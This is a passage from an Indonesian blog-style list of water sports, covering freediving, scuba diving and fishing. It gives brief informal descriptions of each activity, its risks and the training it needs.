Siapa yang tidak mengenal olahraga yang satu ini, ya selam bebas juga termasuk dalam salah satu olahraga air. Selam bebas merupakan menyelam tanpa menggunakan alat bantu apapun, olahraga ini bergantung dengan kemampuan penyelam untuk menahan nafasnya di dalam air. Semakin lama si penyelam menahan nafas maka semakin lama juga dia dapat menikmati pemandangan bawah laut. Akan tetapi selam bebas ini termasuk olahraga yang ekstreem karna mempunyai resiko yang besar. Selam bebas juga memerlukan latihan fisik, latihan fisiknya hampir sama dengan  latihan fisik sepak bola.

10. Selam scuba

Olahraga ini merupakan kebalikan dari selam bebas, yaitu si penyelam akan menyelam dengan menggunakan peralatan menyelam yang lengkap. Agar dapat bertahan di dalam air dengan waktu yang lama maka si penyelam akan membawa tabung oksigen, dan penyelam juga dapat membawa alat penerangan untuk menerangi pandangan mereka karna pada dasarnya scuba merupakan menyelam pada goa – goa bawah air atau area lainya. Dalam selam scuba kita juga harus mengerti cara bernafas, anda dapat latihan cara bernafas dengan menggunakan cara bernafas saat berlari karna caranya hampir sama.

11. Memancing

Siapa sangka memancing ternyata juga termasuk dalam salah satu olahraga air. Banyak orang yang mempunyai hobi memancing atau malah sudah profesinya menjadi pemancing. Memancing merupakan kegiatan menangkap ikan di pinggi atau di tengah laut, sungai , danau, dan juga peraiaran lainya yang ada ikanya. Akan tetapi tidak setiap kita memancing kita sudah pasti mendapatkan hasil ikan yang banyak semua itu tergantung skill dan perlengkapan yang kita pakai.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Newer Posts
Older Posts